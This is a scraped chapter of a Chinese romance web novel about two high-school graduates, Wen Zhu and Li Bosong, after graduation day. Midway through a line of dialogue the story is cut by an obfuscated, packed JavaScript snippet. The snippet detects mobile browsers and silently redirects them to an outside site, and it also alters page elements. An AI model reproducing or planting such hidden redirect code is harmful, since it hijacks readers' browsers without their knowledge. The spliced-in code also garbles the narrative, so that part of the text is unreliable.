大家在校门口分别,门口接送高三学生的车辆依旧往来如织,闻竹想起每年秋天的时候,这条马路两边的银杏树会变得一片金黄,在那时,他们几个已经在地图不同的坐标上开始新阶段的生活了。 “夏天还没结束呢。”李泊松在她身边说。 闻竹愣了下,毕雨泽接话道:“夏天结束也无所谓,每个夏天都必然会结束嘛。” “但是我们的情谊不会结束。”曲思嘉停下脚步。 路一杭推了推眼镜:“我赞同。” 在四季学府门口和朋友们分别后,李泊松刷着门卡,弯着眼睛提醒闻竹:“你的毕业照还拿在手里呢。” 闻竹这才“哦”了声,从他包里拿出了曲思嘉还给她的那本书,准备把毕业照夹进去。 她心情有些低落,手也不如平时稳,那本书刚离开李泊松的包就因为主人失手落在了地上。 “啪”地一声。 李泊松摸了下她的头,弯腰捡起书,还意外地发现了书里夹着一张照片。这张照片在书撞击地面的时候从夹缝里冲出来了。 他保持着半蹲的姿势抬头,把照片递给闻竹后才直起身,闻竹看着照片的正面,认出了是拍毕业照那天他们五个人用那个拍立得拍的合照。 上午的明媚日光透过树杈照射下来,衬得照片里的人更加明亮美好。 当时分照片的时候她和曲思嘉都非常喜欢这张,最后闻竹把这张送给她了。 她们两个都觉得,既然是回忆,那谁来珍藏都是一样的。 她抿了下唇,翻过照片,看到了后面漂亮的一句英文。 曲思嘉画了一颗爱心,写道: “Iwillmissyouall.” -上卷完- 75. 来日方长 那张照片又勾出了闻竹的眼泪。 毕业就是高中结束了,大家还是好朋友,还是可以见面,分享自己的事,闲时聊天。但毕业也是青春的句号,情谊仍在,却依然各奔东西。 李泊松看到闻竹哭,觉得她这段时间流的泪是真的不少,抬手用指腹轻轻擦掉这些“断了线的珠子”。 他觉得自己好像见证了她最感性的数个时刻,也触到了她内心最珍贵的东西。 李泊松又在包里翻出纸巾递过去,闻竹没接。他就捏着纸巾,另一只手撑起遮阳伞,帮人挡住阳光的炙烤,很长时间都没说话。 闻竹抽冷子开口道:“你听过那句诗吗,青春都一晌。青春一晃就过去了,但是大家好像都有很多难忘和遗憾。” 对于这个问题,李泊松的答案让闻竹十分喜欢。他说:“嗯,但是来日方长。” - 他拉着闻竹走了几步,忽然问她:“你是不是有毕业典礼那天拍的所有照片?” “啊?”她还有些愣愣的,过了会儿才说:“嗯,对。” “发给我。” 李泊松换了个央求的语气,装得可怜兮兮的:“我想发朋友圈,好多人都不知道我有女朋友。” 闻竹莫名其妙地笑了下:“怎么突然想起这事了?” “不是突然想起来的,之前没想好发什么。”他说完,又认真地问闻竹:“你介意吗?” “我不介意,”两人靠得非常近,躲在一把遮阳伞下,闻竹兴致勃勃地摆弄手机:“那我发给你一张好看的。” “难道不是都好看吗?” 她手上的动作顿了顿,瞥他一眼:“你差不多得了。” 他倒是很自得:“我女朋友就是很漂亮,还不能说啊。” “……” 自从和她谈了恋爱,李泊松真是变得无比幼稚,他本该幼稚的时候都没有那么幼稚。 李泊松没有发闻竹最喜欢的那张照片,选择了另一张他觉得最美的。 他们两个穿着校服站在室外球场前,夏日上午的阳光是最好的滤镜。 “你怎么不发我说的那张?”闻竹已经预料到他不会乖乖听话了,但还是非常好奇他选这张的理由。 “我最喜欢这张,”李泊松偏过头看她,语气自然:“这张你笑得最好看。” 闻竹笑和不笑的时候并不像,不笑是清冷美,笑时她的颊边会出现一个小酒窝,很醉人。 李泊松发的那张合照里,他们两个都在笑。闻竹唇角的弧度很大,眼睛亮得像晨星。 在上楼的时候,她又翻了下李泊松的那条朋友圈,看到了下边新鲜的评论:毕雨泽在抱怨李泊松怎么只发他们两个的照片,简直是见色忘友,情节十分恶劣! 闻竹拿出钥匙开了门,钥匙在锁孔旋转一圈发出了清脆的一声响,她随手把那本书放在鞋柜上,发了自己喜欢那张两人的照片和一张五个人的合照。 配文是毕业快乐,想了想,又很不熟练地在后边加了个红色的爱心。 - “哎,回防回防——我靠!” “漂亮!” 篮球进入篮筐后落下的声音传来,闻竹听到了篮球鞋摩擦球场地面的声音,听到了场上的欢呼和唏嘘声,听到了风吹树叶的沙沙声。 她抬眼望去,李泊松进球后转身和一个她不认识的男生击了下掌,之后朝场外望过来,一眼看到了她。 这场打完后,他朝闻竹跑过来,闻竹在球场旁的椅子上坐着,拧了瓶水递给他。 和他一起打球的男生过来起哄了两句:“哎哟,松哥,球打得好还有女生送水——” 李泊松拿着水瓶,垂眸看着闻竹,像是在判断她对这句话的态度。 “是我女朋友。”他说,之后他简单地给他们两个互相介绍了一下。 他在闻竹身边坐下,七月上午的太阳毒辣,昨晚手机弹窗还提示了高温,今天这人就出来打球了。 闻竹脸上身上都仔细地涂了防晒,穿了防晒衣。她仔细端详着李泊松的脸,发现这人每天都在外边玩,要么打球要么跑步,竟然没有晒黑。 她这么想,也就这么说了。李泊松说:“是吗?晒黑点也挺好的,显得更健康。” 闻竹没忍住翻了下眼皮:“这是什么歪理邪说?” 他喝了一大口水,拧上瓶盖后偏头问闻竹:“怎么想起来看我打球了?”看到闻竹的“全副武装”后,他又忍俊不禁道:“防晒倒是做得很仔细。” 闻竹没回答他自己过来的原因,李泊松也不在意,就接着问:“我打球的时候帅吗?” 这话放在别人口中就会透露出一种十分愚蠢的自恋,放在李泊松身上……大概是他本来就打得好,再有初恋滤镜的加成,闻竹倒是觉得很有意思。她清楚他问这话也不是在炫耀什么,而是想拥有她的认可。 她笑笑:“你是不是早就想问我这个问题了?” “对。”李泊松爽快地承认了,没有半点儿不好意思。 “是帅的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044392|137974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 听到这个回答,李泊松心满意足,嘴上开始挑刺:“那你刚刚怎么表现得那么淡定?” “……” 在场上,李泊松那个三分球投进后,他和闻竹对视时朝她轻轻眨了下眼。 “我不淡定啊,我心脏现在还在砰砰跳。”她说。只是性格使然,习惯了不动声色而已。 闻竹太坦诚了,坦诚到李泊松耳根都红了。他觉得好似有电流从自己脊柱穿过。 “哦,行,”他语言系统都有些混乱了,“我是说……” 她惊讶于旁边人的反应,左边脸颊笑出了一个浅浅的酒窝。 “其实我在很多时刻都对你有过这种感觉,只不过那些时候我都不知道这是因为喜欢。”她现在想想,简直不明白自己是当局者迷还是太迟钝,“我那时候大概觉得,那只能算是欣赏,而不是因为我心动。” 在谈了恋爱并且感情稳定蜜里调油的现在,他们两个终于能把彼此挣扎纠结甚至疏远的那段时间放在太阳底下谈起了。 “我让你很纠结吧。” “是,”闻竹直言道,“我根本没做好和你换个身份相处的准备,我也不知道怎么放弃这段友情开始另一种亲密关系。直到面临这个选择的时候我才意识到其实自己很胆小,在那之前我一直都觉得我是不怕失去的人。” “你害怕和我谈不了长久的恋爱?” “对。”她轻轻点头。 闻竹生活在一个美好和睦、氛围轻松的家庭里,她从小到大甚至很少见到父母吵架。她一直以为李泊松才是那个不敢迈出第一步、不敢让两人的关系发生变化的人。 对此,李泊松给出的答案和之前一样:“我喜欢你,如果一直和你做朋友的话,我会很痛苦。” 他的眼睛很漂亮,在专注看一个人的时候,眼神比平日里更深邃。 之后闻竹听到他“恶人先告状”似的说:“我也不想这样,喜欢你让我压力很大。” 她简直惊住了:“李泊松,你真是……你再说一遍?” 两人同时笑出声。 手中的手机响了一声,他拿起来看了眼,看到了他妈妈发来的十多条消息。 他活动了下手指点了进去,没看,又退出来了。 李泊松本想告诉闻竹,她现在是和他最亲密的人。他只有她了,也只属于她。 不过这样讲大概会吓到人吧。李泊松弯了下眼睛,换了个话题问旁边人:“你们不是一直想毕业旅行?有没有想好去哪儿?”